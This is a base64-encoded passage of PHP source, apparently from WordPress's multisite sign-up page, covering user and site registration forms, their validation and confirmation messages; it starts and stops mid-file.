CTw/cGhwCgkJLyoqIFRoaXMgYWN0aW9uIGlzIGRvY3VtZW50ZWQgaW4gd3Atc2lnbnVwLnBocCAqLwoJCWRvX2FjdGlvbiggJ3NpZ251cF9oaWRkZW5fZmllbGRzJywgJ3ZhbGlkYXRlLXVzZXInICk7CgkJPz4KCQk8P3BocCBzaG93X3VzZXJfZm9ybSggJHVzZXJfbmFtZSwgJHVzZXJfZW1haWwsICRlcnJvcnMgKTsgPz4KCgkJPD9waHAgaWYgKCAnYmxvZycgPT09ICRhY3RpdmVfc2lnbnVwICkgOiA/PgoJCQk8aW5wdXQgaWQ9InNpZ251cGJsb2ciIHR5cGU9ImhpZGRlbiIgbmFtZT0ic2lnbnVwX2ZvciIgdmFsdWU9ImJsb2ciIC8+CgkJPD9waHAgZWxzZWlmICggJ3VzZXInID09PSAkYWN0aXZlX3NpZ251cCApIDogPz4KCQkJPGlucHV0IGlkPSJzaWdudXBibG9nIiB0eXBlPSJoaWRkZW4iIG5hbWU9InNpZ251cF9mb3IiIHZhbHVlPSJ1c2VyIiAvPgoJCTw/cGhwIGVsc2UgOiA/PgoJCQk8ZmllbGRzZXQgY2xhc3M9InNpZ251cC1vcHRpb25zIj4KCQkJCTxsZWdlbmQ+PD9waHAgX2UoICdDcmVhdGUgYSBzaXRlIG9yIG9ubHkgYSB1c2VybmFtZTonICk7ID8+PC9sZWdlbmQ+CgkJCQk8cCBjbGFzcz0id3Atc2lnbnVwLXJhZGlvLWJ1dHRvbnMiPgoJCQkJCTxzcGFuIGNsYXNzPSJ3cC1zaWdudXAtcmFkaW8tYnV0dG9uIj4KCQkJCQkJPGlucHV0IGlkPSJzaWdudXBibG9nIiB0eXBlPSJyYWRpbyIgbmFtZT0ic2lnbnVwX2ZvciIgdmFsdWU9ImJsb2ciIDw/cGhwIGNoZWNrZWQoICRzaWdudXBfZm9yLCAnYmxvZycgKTsgPz4gLz4KCQkJCQkJPGxhYmVsIGNsYXNzPSJjaGVja2JveCIgZm9yPSJzaWdudXBibG9nIj48P3BocCBfZSggJ0dpbW1lIGEgc2l0ZSEnICk7ID8+PC9sYWJlbD4KCQkJCQk8L3NwYW4+CgkJCQkJPHNwYW4gY2xhc3M9IndwLXNpZ251cC1yYWRpby1idXR0b24iPgoJCQkJCQk8aW5wdXQgaWQ9InNpZ251cHVzZXIiIHR5cGU9InJhZGlvIiBuYW1lPSJzaWdudXBfZm9yIiB2YWx1ZT0idXNlciIgPD9waHAgY2hlY2tlZCggJHNpZ251cF9mb3IsICd1c2VyJyApOyA/PiAvPgoJCQkJCQk8bGFiZWwgY2xhc3M9ImNoZWNrYm94IiBmb3I9InNpZ251cHVzZXIiPjw/cGhwIF9lKCAnSnVzdCBhIHVzZXJuYW1lLCBwbGVhc2UuJyApOyA/PjwvbGFiZWw+CgkJCQkJPC9zcGFuPgoJCQkJPC9wPgoJCQk8L2ZpZWxkc2V0PgoJCTw/cGhwIGVuZGlmOyA/PgoKCQk8cCBjbGFzcz0ic3VibWl0Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSI8P3BocCBlc2NfYXR0cl9lKCAnTmV4dCcgKTsgPz4iIC8+PC9wPgoJPC9mb3JtPgoJPD9waHAKfQoKLyoqCiAqIFZhbGlkYXRlcyB0aGUgbmV3IHVzZXIgc2lnbi11cC4KICoKICogQHNpbmNlIE1VICgzLjAuMCkKICoKICogQHJldHVybiBib29sIFRydWUgaWYgbmV3IHVzZXIgc2lnbi11cCB3YXMgdmFsaWRhdGVkLCBmYWxzZSBvbiBlcnJvci4KICovCmZ1bmN0aW9uIHZhbGlkYXRlX3VzZXJfc2lnbnVwKCkgewoJJHJlc3VsdCAgICAgPSB2YWxpZGF0ZV91c2VyX2Zvcm0oKTsKCSR1c2VyX25hbWUgID0gJHJlc3VsdFsndXNlcl9uYW1lJ107CgkkdXNlcl9lbWFpbCA9ICRyZXN1bHRbJ3VzZXJfZW1haWwnXTsKCSRlcnJvcnMgICAgID0gJHJlc3VsdFsnZXJyb3JzJ107CgoJaWYgKCAkZXJyb3JzLT5oYXNfZXJyb3JzKCkgKSB7CgkJc2lnbnVwX3VzZXIoICR1c2VyX25hbWUsICR1c2VyX2VtYWlsLCAkZXJyb3JzICk7CgkJcmV0dXJuIGZhbHNlOwoJfQoKCWlmICggJ2Jsb2cnID09PSAkX1BPU1RbJ3NpZ251cF9mb3InXSApIHsKCQlzaWdudXBfYmxvZyggJHVzZXJfbmFtZSwgJHVzZXJfZW1haWwgKTsKCQlyZXR1cm4gZmFsc2U7Cgl9CgoJLyoqIFRoaXMgZmlsdGVyIGlzIGRvY3VtZW50ZWQgaW4gd3Atc2lnbnVwLnBocCAqLwoJd3BtdV9zaWdudXBfdXNlciggJHVzZXJfbmFtZSwgJHVzZXJfZW1haWwsIGFwcGx5X2ZpbHRlcnMoICdhZGRfc2lnbnVwX21ldGEnLCBhcnJheSgpICkgKTsKCgljb25maXJtX3VzZXJfc2lnbnVwKCAkdXNlcl9uYW1lLCAkdXNlcl9lbWFpbCApOwoJcmV0dXJuIHRydWU7Cn0KCi8qKgogKiBTaG93cyBhIG1lc3NhZ2UgY29uZmlybWluZyB0aGF0IHRoZSBuZXcgdXNlciBoYXMgYmVlbiByZWdpc3RlcmVkIGFuZCBpcyBhd2FpdGluZyBhY3RpdmF0aW9uLgogKgogKiBAc2luY2UgTVUgKDMuMC4wKQogKgogKiBAcGFyYW0gc3RyaW5nICR1c2VyX25hbWUgIFRoZSB1c2VybmFtZS4KICogQHBhcmFtIHN0cmluZyAkdXNlcl9lbWFpbCBUaGUgdXNlcidzIGVtYWlsIGFkZHJlc3MuCiAqLwpmdW5jdGlvbiBjb25maXJtX3VzZXJfc2lnbnVwKCAkdXNlcl9uYW1lLCAkdXNlcl9lbWFpbCApIHsKCT8+Cgk8aDI+Cgk8P3BocAoJLyogdHJhbnNsYXRvcnM6ICVzOiBVc2VybmFtZS4gKi8KCXByaW50ZiggX18oICclcyBpcyB5b3VyIG5ldyB1c2VybmFtZScgKSwgJHVzZXJfbmFtZSApCgk/PgoJPC9oMj4KCTxwPjw/cGhwIF9lKCAnQnV0LCBiZWZvcmUgeW91IGNhbiBzdGFydCB1c2luZyB5b3VyIG5ldyB1c2VybmFtZSwgPHN0cm9uZz55b3UgbXVzdCBhY3RpdmF0ZSBpdDwvc3Ryb25nPi4nICk7ID8+PC9wPgoJPHA+Cgk8P3BocAoJLyogdHJhbnNsYXRvcnM6ICVzOiBUaGUgdXNlciBlbWFpbCBhZGRyZXNzLiAqLwoJcHJpbnRmKCBfXyggJ0NoZWNrIHlvdXIgaW5ib3ggYXQgJXMgYW5kIGNsaWNrIG9uIHRoZSBnaXZlbiBsaW5rLicgKSwgJzxzdHJvbmc+JyAuICR1c2VyX2VtYWlsIC4gJzwvc3Ryb25nPicgKTsKCT8+Cgk8L3A+Cgk8cD48P3BocCBfZSggJ0lmIHlvdSBkbyBub3QgYWN0aXZhdGUgeW91ciB1c2VybmFtZSB3aXRoaW4gdHdvIGRheXMsIHlvdSB3aWxsIGhhdmUgdG8gc2lnbiB1cCBhZ2Fpbi4nICk7ID8+PC9wPgoJPD9waHAKCS8qKiBUaGlzIGFjdGlvbiBpcyBkb2N1bWVudGVkIGluIHdwLXNpZ251cC5waHAgKi8KCWRvX2FjdGlvbiggJ3NpZ251cF9maW5pc2hlZCcgKTsKfQoKLyoqCiAqIFNob3dzIGEgZm9ybSBmb3IgYSB1c2VyIG9yIHZpc2l0b3IgdG8gc2lnbiB1cCBmb3IgYSBuZXcgc2l0ZS4KICoKICogQHNpbmNlIE1VICgzLjAuMCkKICoKICogQHBhcmFtIHN0cmluZyAgICAgICAgICAkdXNlcl9uYW1lICBUaGUgdXNlcm5hbWUuCiAqIEBwYXJhbSBzdHJpbmcgICAgICAgICAgJHVzZXJfZW1haWwgVGhlIHVzZXIncyBlbWFpbCBhZGRyZXNzLgogKiBAcGFyYW0gc3RyaW5nICAgICAgICAgICRibG9nbmFtZSAgIFRoZSBzaXRlIG5hbWUuCiAqIEBwYXJhbSBzdHJpbmcgICAgICAgICAgJGJsb2dfdGl0bGUgVGhlIHNpdGUgdGl0bGUuCiAqIEBwYXJhbSBXUF9FcnJvcnxzdHJpbmcgJGVycm9ycyAgICAgQSBXUF9FcnJvciBvYmplY3QgY29udGFpbmluZyBleGlzdGluZyBlcnJvcnMuIERlZmF1bHRzIHRvIGVtcHR5IHN0cmluZy4KICovCmZ1bmN0aW9uIHNpZ251cF9ibG9nKCAkdXNlcl9uYW1lID0gJycsICR1c2VyX2VtYWlsID0gJycsICRibG9nbmFtZSA9ICcnLCAkYmxvZ190aXRsZSA9ICcnLCAkZXJyb3JzID0gJycgKSB7CglpZiAoICEgaXNfd3BfZXJyb3IoICRlcnJvcnMgKSApIHsKCQkkZXJyb3JzID0gbmV3IFdQX0Vycm9yKCk7Cgl9CgoJJHNpZ251cF9ibG9nX2RlZmF1bHRzID0gYXJyYXkoCgkJJ3VzZXJfbmFtZScgID0+ICR1c2VyX25hbWUsCgkJJ3VzZXJfZW1haWwnID0+ICR1c2VyX2VtYWlsLAoJCSdibG9nbmFtZScgICA9PiAkYmxvZ25hbWUsCgkJJ2Jsb2dfdGl0bGUnID0+ICRibG9nX3RpdGxlLAoJCSdlcnJvcnMnICAgICA9PiAkZXJyb3JzLAoJKTsKCgkvKioKCSAqIEZpbHRlcnMgdGhlIGRlZmF1bHQgc2l0ZSBjcmVhdGlvbiB2YXJpYWJsZXMgZm9yIHRoZSBzaXRlIHNpZ24tdXAgZm9ybS4KCSAqCgkgKiBAc2luY2UgMy4wLjAKCSAqCgkgKiBAcGFyYW0gYXJyYXkgJHNpZ251cF9ibG9nX2RlZmF1bHRzIHsKCSAqICAgICBBbiBhcnJheSBvZiBkZWZhdWx0IHNpdGUgY3JlYXRpb24gdmFyaWFibGVzLgoJICoKCSAqICAgICBAdHlwZSBzdHJpbmcgICAkdXNlcl9uYW1lICBUaGUgdXNlciB1c2VybmFtZS4KCSAqICAgICBAdHlwZSBzdHJpbmcgICAkdXNlcl9lbWFpbCBUaGUgdXNlciBlbWFpbCBhZGRyZXNzLgoJICogICAgIEB0eXBlIHN0cmluZyAgICRibG9nbmFtZSAgIFRoZSBibG9nbmFtZS4KCSAqICAgICBAdHlwZSBzdHJpbmcgICAkYmxvZ190aXRsZSBUaGUgdGl0bGUgb2YgdGhlIHNpdGUuCgkgKiAgICAgQHR5cGUgV1BfRXJyb3IgJGVycm9ycyAgICAgQSBXUF9FcnJvciBvYmplY3Qgd2l0aCBwb3NzaWJsZSBlcnJvcnMgcmVsZXZhbnQgdG8gbmV3IHNpdGUgY3JlYXRpb24gdmFyaWFibGVzLgoJICogfQoJICovCgkkZmlsdGVyZWRfcmVzdWx0cyA9IGFwcGx5X2ZpbHRlcnMoICdzaWdudXBfYmxvZ19pbml0JywgJHNpZ251cF9ibG9nX2RlZmF1bHRzICk7CgoJJHVzZXJfbmFtZSAgPSAkZmlsdGVyZWRfcmVzdWx0c1sndXNlcl9uYW1lJ107CgkkdXNlcl9lbWFpbCA9ICRmaWx0ZXJlZF9yZXN1bHRzWyd1c2VyX2VtYWlsJ107CgkkYmxvZ25hbWUgICA9ICRmaWx0ZXJlZF9yZXN1bHRzWydibG9nbmFtZSddOwoJJGJsb2dfdGl0bGUgPSAkZmlsdGVyZWRfcmVzdWx0c1snYmxvZ190aXRsZSddOwoJJGVycm9ycyAgICAgPSAkZmlsdGVyZWRfcmVzdWx0c1snZXJyb3JzJ107CgoJaWYgKCBlbXB0eSggJGJsb2duYW1lICkgKSB7CgkJJGJsb2duYW1lID0gJHVzZXJfbmFtZTsKCX0KCT8+Cgk8Zm9ybSBpZD0ic2V0dXBmb3JtIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0id3Atc2lnbnVwLnBocCI+CgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3RhZ2UiIHZhbHVlPSJ2YWxpZGF0ZS1ibG9nLXNpZ251cCIgLz4KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyX25hbWUiIHZhbHVlPSI8P3BocCBlY2hvIGVzY19hdHRyKCAkdXNlcl9uYW1lICk7ID8+IiAvPgoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXJfZW1haWwiIHZhbHVlPSI8P3BocCBlY2hvIGVzY19hdHRyKCAkdXNlcl9lbWFpbCApOyA/PiIgLz4KCQk8P3BocAoJCS8qKiBUaGlzIGFjdGlvbiBpcyBkb2N1bWVudGVkIGluIHdwLXNpZ251cC5waHAgKi8KCQlkb19hY3Rpb24oICdzaWdudXBfaGlkZGVuX2ZpZWxkcycsICd2YWxpZGF0ZS1zaXRlJyApOwoJCT8+CgkJPD9waHAgc2hvd19ibG9nX2Zvcm0oICRibG9nbmFtZSwgJGJsb2dfdGl0bGUsICRlcnJvcnMgKTsgPz4KCQk8cCBjbGFzcz0ic3VibWl0Ij48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSI8P3BocCBlc2NfYXR0cl9lKCAnU2lnbiB1cCcgKTsgPz4iIC8+PC9wPgoJPC9mb3JtPgoJPD9waHAKfQoKLyoqCiAqIFZhbGlkYXRlcyBuZXcgc2l0ZSBzaWdudXAuCiAqCiAqIEBzaW5jZSBNVSAoMy4wLjApCiAqCiAqIEByZXR1cm4gYm9vbCBUcnVlIGlmIHRoZSBzaXRlIHNpZ24tdXAgd2FzIHZhbGlkYXRlZCwgZmFsc2Ugb24gZXJyb3IuCiAqLwpmdW5jdGlvbiB2YWxpZGF0ZV9ibG9nX3NpZ251cCgpIHsKCS8vIFJlLXZhbGlkYXRlIHVzZXIgaW5mby4KCSR1c2VyX3Jlc3VsdCA9IHdwbXVfdmFsaWRhdGVfdXNlcl9zaWdudXAoICRfUE9TVFsndXNlcl9uYW1lJ10sICRfUE9TVFsndXNlcl9lbWFpbCddICk7CgkkdXNlcl9uYW1lICAgPSAkdXNlcl9yZXN1bHRbJ3VzZXJfbmFtZSddOwoJJHVzZXJfZW1haWwgID0gJHVzZXJfcmVzdWx0Wyd1c2VyX2VtYWlsJ107CgkkdXNlcl9lcnJvcnMgPSAkdXNlcl9yZXN1bHRbJ2Vycm9ycyddOwoKCWlmICggJHVzZXJfZXJyb3JzLT5oYXNfZXJyb3JzKCkgKSB7CgkJc2lnbnVwX3VzZXIoICR1c2VyX25hbWUsICR1c2VyX2VtYWlsLCAkdXNlcl9lcnJvcnMgKTsKCQlyZXR1cm4gZmFsc2U7Cgl9CgoJJHJlc3VsdCAgICAgPSB3cG11X3ZhbGlkYXRlX2Jsb2dfc2lnbnVwKCAkX1BPU1RbJ2Jsb2duYW1lJ10sICRfUE9TVFsnYmxvZ190aXRsZSddICk7CgkkZG9tYWluICAgICA9ICRyZXN1bHRbJ2RvbWFpbiddOwoJJHBhdGggICAgICAgPSAkcmVzdWx0WydwYXRoJ107CgkkYmxvZ25hbWUgICA9ICRyZXN1bHRbJ2Jsb2duYW1lJ107CgkkYmxvZ190aXRsZSA9ICRyZXN1bHRbJ2Jsb2dfdGl0bGUnXTsKCSRlcnJvcnMgICAgID0gJHJlc3VsdFsnZXJyb3JzJ107CgoJaWYgKCAkZXJyb3JzLT5oYXNfZXJyb3JzKCkgKSB7CgkJc2lnbnVwX2Jsb2coICR1c2VyX25hbWUsICR1c2VyX2VtYWlsLCAkYmxvZ25hbWUsICRibG9nX3RpdGxlLCAkZXJyb3JzICk7CgkJcmV0dXJuIGZhbHNlOwoJfQoKCSRwdWJsaWMgICAgICA9IChpbnQpICRfUE9TVFsnYmxvZ19wdWJsaWMnXTsKCSRzaWdudXBfbWV0YSA9IGFycmF5KAoJCSdsYW5nX2lkJyA9PiAxLAoJCSdwdWJsaWMnICA9PiAkcHVibGljLAoJKTsKCgkvLyBIYW5kbGUgdGhlIGxhbmd1YWdlIHNldHRpbmcgZm9yIHRoZSBuZXcgc2l0ZS4KCWlmICggISBlbXB0eSggJF9QT1NUWydXUExBTkcnXSApICkgewoKCQkkbGFuZ3VhZ2VzID0gc2lnbnVwX2dldF9hdmFpbGFibGVfbGFuZ3VhZ2VzKCk7CgoJCWlmICggaW5fYXJyYXkoICRfUE9TVFsnV1BMQU5HJ10sICRsYW5ndWFnZXMsIHRydWUgKSApIHsKCQkJJGxhbmd1YWdlID0gd3BfdW5zbGFzaCggc2FuaXRpemVfdGV4dF9maWVsZCggJF9QT1NUWydXUExBTkcnXSApICk7CgoJCQlpZiAoICRsYW5ndWFnZSApIHsKCQkJCSRzaWdudXBfbWV0YVsnV1BMQU5HJ10gPSAkbGFuZ3VhZ2U7CgkJCX0KCQl9Cgl9CgoJLyoqIFRoaXMgZmlsdGVyIGlzIGRvY3VtZW50ZWQgaW4gd3Atc2lnbnVwLnBocCAqLwoJJG1ldGEgPSBhcHBseV9maWx0ZXJzKCAnYWRkX3NpZ251cF9tZXRhJywgJHNpZ251cF9tZXRhICk7CgoJd3BtdV9zaWdudXBfYmxvZyggJGRvbWFpbiwgJHBhdGgsICRibG9nX3RpdGxlLCAkdXNlcl9uYW1lLCAkdXNlcl9lbWFpbCwgJG1ldGEgKTsKCWNvbmZpcm1fYmxvZ19zaWdudXAoICRkb21haW4sICRwYXRoLCAkYmxvZ190aXRsZSwgJHVzZXJfbmFtZSwgJHVzZXJfZW1haWwsICRtZXRhICk7CglyZXR1cm4gdHJ1ZTsKfQoKLyoqCiAqIFNob3dzIGEgbWVzc2FnZSBjb25maXJtaW5nIHRoYXQgdGhlIG5ldyBzaXRlIGhhcyBiZWVuIHJlZ2lzdGVyZWQgYW5kIGlzIGF3YWl0aW5nIGFjdGl2YXRpb24uCiAqCiAqIEBzaW5jZSBNVSAoMy4wLjApCiAqCiAqIEBwYXJhbSBzdHJpbmcgJGRvbWFpbiAgICAgVGhlIGRvbWFpbiBvciBzdWJkb21haW4gb2YgdGhlIHNpdGUuCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGggICAgICAgVGhlIHBhdGggb2YgdGhlIHNpdGUuCiAqIEBwYXJhbSBzdHJpbmcgJGJsb2dfdGl0bGUgVGhlIHRpdGxlIG9mIHRoZSBuZXcgc2l0ZS4KICogQHBhcmFtIHN0cmluZyAkdXNlcl9uYW1lICBUaGUgdXNlcidzIHVzZXJuYW1lLgogKiBAcGFyYW0gc3RyaW5nICR1c2VyX2VtYWlsIFRoZSB1c2VyJ3MgZW1haWwgYWRkcmVzcy4KICogQHBhcmFtIGFycmF5ICAkbWV0YSAgICAgICBBbnkgYWRkaXRpb25hbCBtZXRhIGZyb20gdGhlIHtAc2VlICdhZGRfc2lnbnVwX21ldGEnfSBmaWx0ZXIgaW4gdmFsaWRhdGVfYmxvZ19zaWdudXAoKS4KICovCmZ1bmN0aW9uIGNvbmZpcm1fYmxvZ19zaWdudXAoICRkb21haW4sICRwYXRoLCAkYmxvZ190aXRsZSwgJHVzZXJfbmFtZSA9ICcnLCAkdXNlcl9lbWFpbCA9ICcnLCAkbWV0YSA9IGFycmF5KCkgKSB7Cgk/PgoJPGgyPgoJPD9waHAKCS8qIHRyYW5zbGF0b3JzOiAlczogU2l0ZSBhZGRyZXNzLiAqLwoJcHJpbnRmKCBfXyggJ0NvbmdyYXR1bGF0aW9ucyEgWW91ciBuZXcgc2l0ZSwgJXMsIGlzIGFsbW9zdCByZWFkeS4nICksICI8YSBocmVmPSdodHRwOi8veyRkb21haW59eyRwYXRofSc+eyRibG9nX3RpdGxlfTwvYT4iICkKCT8+Cgk8L2gyPgoKCTxwPjw/cGhwIF9lKCAnQnV0LCBiZWZvcmUgeW91IGNhbiBzdGFydCB1c2luZyB5b3VyIHNpdGUsIDxzdHJvbmc+eW91IG11c3QgYWN0aXZhdGUgaXQ8L3N0cm9uZz4uJyApOyA/PjwvcD4KCTxwPgoJPD9waHAKCS8qIHRyYW5zbGF0b3JzOiAlczogVGhlIHVzZXIgZW1haWwgYWRkcmVzcy4gKi8KCXByaW50ZiggX18oICdDaGVjayB5b3VyIGluYm94IGF0ICVzIGFuZCBjbGljayBvbiB0aGUgZ2l2ZW4gbGluay4nICksICc8c3Ryb25nPicgLiAkdXNlcl9lbWFpbCAuICc8L3N0cm9uZz4nICk7Cgk/PgoJPC9wPgoJPHA+PD9waHAgX2UoICdJZiB5b3UgZG8gbm90IGFjdGl2YXRlIHlvdXIgc2l0ZSB3aXRoaW4gdHdvIGRheXMsIHlvdSB3aWxsIGhhdmUgdG8gc2lnbiB1cCBhZ2Fpbi4nICk7ID8+PC9wPgoJPGgyPjw/cGhwIF9lKCAnU3RpbGwgd2FpdGluZyBmb3IgeW91ciBlbWFpbD8nICk7ID8+PC9oMj4KCTxwPjw/cGhwIF9lKCAnSWYgeW91IGhhdmUgbm90IHJlY2VpdmVkIHlvdXIgZW1haWwgeWV0LCB0aGVyZSBhcmUgYSBudW1iZXIgb2YgdGhpbmdzIHlvdSBjYW4gZG86JyApOyA/PjwvcD4KCTx1bCBpZD0ibm9lbWFpbC10aXBzIj4KCQk8bGk+PHA+PHN0cm9uZz48P3BocCBfZSggJ1dhaXQgYSBsaXR0bGUgbG9uZ2VyLiBTb21ldGltZXMgZGVsaXZlcnkgb2YgZW1haWwgY2FuIGJlIGRlbGF5ZWQgYnkgcHJvY2Vzc2VzIG91dHNpZGUgb2Ygb3VyIGNvbnRyb2wuJyApOyA/Pjwvc3Ryb25nPjwvcD48L2xpPgoJCTxsaT48cD48P3BocCBfZSggJ0NoZWNrIHRoZSBqdW5rIG9yIHNwYW0gZm9sZGVyIG9mIHlvdXIgZW1haWwgY2xpZW50LiBTb21ldGltZSBlbWFpbHMgd2luZCB1cCB0aGVyZSBieSBtaXN0YWtlLicgKTsgPz48L3A+PC9saT4KCQk8bGk+CgkJPD9waHAKCQkJLyogdHJhbnNsYXRvcnM6ICVzOiBFbWFpbCBhZGRyZXNzLiAqLwoJCQlwcmludGYoIF9fKCAnSGF2ZSB5b3UgZW50ZXJlZCB5b3VyIGVtYWlsIGNvcnJlY3RseT8gWW91IGhhdmUgZW50ZXJlZCAlcywgaWYgaXQmIzgyMTc7cyBpbmNvcnJlY3QsIHlvdSB3aWxsIG5vdCByZWNlaXZlIHlvdXIgZW1haWwuJyApLCAkdXNlcl9lbWFpbCApOwoJCT8+CgkJPC9saT4KCTwvdWw+Cgk8P3BocAoJLyoqIFRoaXMgYWN0aW9uIGlzIGRvY3VtZW50ZWQgaW4gd3Atc2lnbnVwLnBocCAqLwoJZG9fYWN0aW9uKCAnc2lnbnVwX2ZpbmlzaGVkJyApOwp9CgovKioKICogUmV0cmlldmVzIGxhbmd1YWdlcyBhdmFpbGFibGUgZHVyaW5nIHRoZSBzaXRlL3VzZXIgc2lnbi11cCBwcm9jZXNzLgogKgogKiBAc2luY2UgNC40LjAKICoKICogQHNlZSBnZXRfYXZhaWxhYmxlX2xhbmd1YWdlcygpCiAqCiAqIEByZXR1cm4gc3RyaW5nW10gQXJyYXkgb2YgYXZhaWxhYmxlIGxhbmd1YWdlIGNvZGVzLiBMYW5ndWFnZSBjb2RlcyBhcmUgZm9ybWVkIGJ5CiAqICAgICAgICAgICAgICAgICAgc3RyaXBwaW5nIHRoZSAubW8gZXh0ZW5zaW9uIGZyb20gdGhlIGxhbmd1YWdlIGZpbGUgbmFtZXMuCiAqLwpmdW5jdGlvbiBzaWdudXBfZ2V0X2F2YWlsYWJsZV9sYW5ndWFnZXMoKSB7CgkvKioKCSAqIEZpbHRlcnMgdGhlIGxpc3Qgb2YgYXZhaWxhYmxlIGxhbmd1YWdlcyBmb3IgZnJvbnQtZW5kIHNpdGUgc2lnbi11cHMuCgkgKgoJICogUGFzc2luZyBhbiBlbXB0eSBhcnJheSB0byB0aGlzIGhvb2sgd2lsbCBkaXNhYmxlIG91dHB1dCBvZiB0aGUgc2V0dGluZyBvbiB0aGUKCSAqIHNpZ24tdXAgZm9ybSwgYW5kIHRoZSBkZWZhdWx0IGxhbmd1YWdlIHdpbGwgYmUgdXNlZCB3aGVuIGNyZWF0aW5nIHRoZSBzaXRlLgoJICoKCSAqIExhbmd1YWdlcyBub3QgYWxyZWFkeSBpbnN0YWxsZWQgd2lsbCBiZSBzdHJpcHBlZC4KCSAqCgkgKiBAc2luY2UgNC40LjAKCSAqCgkgKiBAcGFyYW0gc3RyaW5nW10gJGxhbmd1YWdlcyBBcnJheSBvZiBhdmFpbGFibGUgbGFuZ3VhZ2UgY29kZXMuIExhbmd1YWdlIGNvZGVzIGFyZSBmb3JtZWQgYnkKCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmlwcGluZyB0aGUgLm1vIGV4dGVuc2lvbiBmcm9tIHRoZSBsYW5ndWFnZSBmaWxlIG5hbWVzLgoJICovCgkkbGFuZ3VhZ2VzID0gKGFycmF5KSBhcHBseV9maWx0ZXJzKCAnc2lnbnVwX2dldF9hdmFpbGFibGVfbGFuZ3VhZ2VzJywgZ2V0X2F2YWlsYWJsZV9sYW5ndWFnZXMoKSApOwoKCS8qCgkgKiBTdHJpcCBhbnkgbm9uLWluc3RhbGxlZCBsYW5ndWFnZXMgYW5kIHJldHVybi4KCSAqCgkgKiBSZS1jYWxsIGdldF9hdmFpbGFibGVfbGFuZ3VhZ2VzKCkgaGVyZSBpbiBjYXNlIGEgbGFuZ3VhZ2UgcGFjayB3YXMgaW5zdGFsbGVkCgkgKiBpbiBhIGNhbGxiYWNrIGhvb2tlZCB0byB0aGUgJ3NpZ251cF9nZXRfYXZhaWxhYmxlX2xhbmd1YWdlcycgZmlsdGVyIGJlZm9yZSB0aGlzIHBvaW50LgoJICovCglyZXR1cm4gYXJyYXlfaW50ZXJzZWN0X2Fzc29jKCAkbGFuZ3VhZ2VzLCBnZXRfYXZhaWxhYmxlX2xhbmd1YWdlcygpICk7Cn0KCi8vIE1haW4uCiRhY3RpdmVfc2lnbnVwID0gZ2V0X3NpdGVfb3B0aW9uKCAncmVnaXN0cmF0aW9uJywgJ25vbmUnICk7CgovKioKICogRmlsdGVycyB0aGUgdHlwZSBvZiBzaXRlIHNpZ24tdXAuCiAqCiAqIEBzaW5jZSAzLjAuMAogKgogKiBAcGFyYW0gc3RyaW5nICRhY3RpdmVfc2lnbnVwIFN0cmluZyB0aGF0IHJldHVybnMgcmVnaXN0cmF0aW9uIHR5cGUuIFRoZSB2YWx1ZSBjYW4gYmUKICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYWxsJywgJ25vbmUnLCAnYmxvZycsIG9yICd1c2VyJy4KICovCiRhY3RpdmVfc2lnbnVwID0gYXBwbHlfZmlsdGVycyggJ3dwbXVfYWN0aXZlX3NpZ251cCcsICRhY3RpdmVfc2lnbnVwICk7CgppZiAoIGN1cnJlbnRfdXNlcl9jYW4oICdtYW5hZ2VfbmV0d29yaycgKSApIHsKCWVjaG8gJzxkaXYgY2xhc3M9Im11X2FsZXJ0Ij4nOwoJX2UoICdHcmVldGluZ3MgTmV0d29yayBBZG1pbmlzdHJhdG9yIScgKTsKCWVjaG8gJyAnOwoKCXN3aXRjaCAoICRhY3RpdmVfc2lnbnVwICkgewoJCWNhc2UgJ25vbmUnOgoJCQlfZSggJ1RoZSBuZXR3b3JrIGN1cnJlbnRseSBkaXNhbGxvd3MgcmVnaXN0cmF0aW9ucy4nICk7CgkJCWJyZWFrOwoJCWNhc2UgJ2Jsb2cnOgoJCQlfZSggJ1RoZSBuZXR3b3JrIGN1cnJlbnRseSBhbGxvd3Mgc2l0ZSByZWdpc3RyYXRpb25zLicgKTsKCQkJYnJlYWs7CgkJY2FzZSAndXNlcic6CgkJCV9lKCAnVGhlIG5ldHdvcmsgY3VycmVudGx5IGFsbG93cyB1c2VyIHJlZ2lzdHJhdGlvbnMuJyApOwoJCQlicmVhazsKCQlkZWZhdWx0OgoJCQlfZSggJ1RoZSBuZXR3b3JrIGN1cnJlbnRseSBhbGxvd3MgYm90aCBzaXRlIGFuZCB1c2VyIHJlZ2lzdHJhdGlvbnMuJyApOwoJCQlicmVhazsKCX0KCgllY2hvICcgJzsKCgkvKiB0cmFuc2xhdG9yczogJXM6IFVSTCB0byBOZXR3b3JrIFNldHRpbmdzIHNjcmVlbi4gKi8KCXByaW50ZiggX18oICdUbyBjaGFuZ2Ugb3IgZGlzYWJsZSByZWdpc3RyYXRpb24gZ28gdG8geW91ciA8YSBocmVmPSIlcyI+T3B0aW9ucyBwYWdlPC9hPi4nICksIGVzY191cmwoIG5ldHdvcmtfYWRtaW5fdXJsKCAnc2V0dGluZ3MucGhwJyApICkgKTsKCWVjaG8gJzwvZGl2Pic7Cn0KCiRuZXdibG9nbmFtZSA9IGlzc2V0KCAkX0dFVFsnbmV3J10gKSA/IHN0cnRvbG93ZXIoIHByZWdfcmVwbGFjZSggJy9eLXwtJHxbXi1hLXpBLVowLTldLycsICcnLCAkX0dFVFsnbmV3J10gKSApIDogbnVsbDsKCiRjdXJyZW50X3VzZXIgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7CmlmICggJ25vbmUnID09PSAkYWN0aXZlX3NpZ251cCApIHsKCV9lKCAnUmVnaXN0cmF0aW9uIGhhcyBiZWVuIGRpc2FibGVkLicgKTsKfSBlbHNlaWYgKCAnYmxvZycgPT09ICRhY3RpdmVfc2lnbnVwICYmICEgaXNfdXNlcl9sb2dnZWRfaW4oKSApIHsKCSRsb2dpbl91cmwgPSB3cF9sb2dpbl91cmwoIG5ldHdvcmtfc2l0ZV91cmwoICd3cC1zaWdudXAucGhwJyApICk7CgkvKiB0cmFuc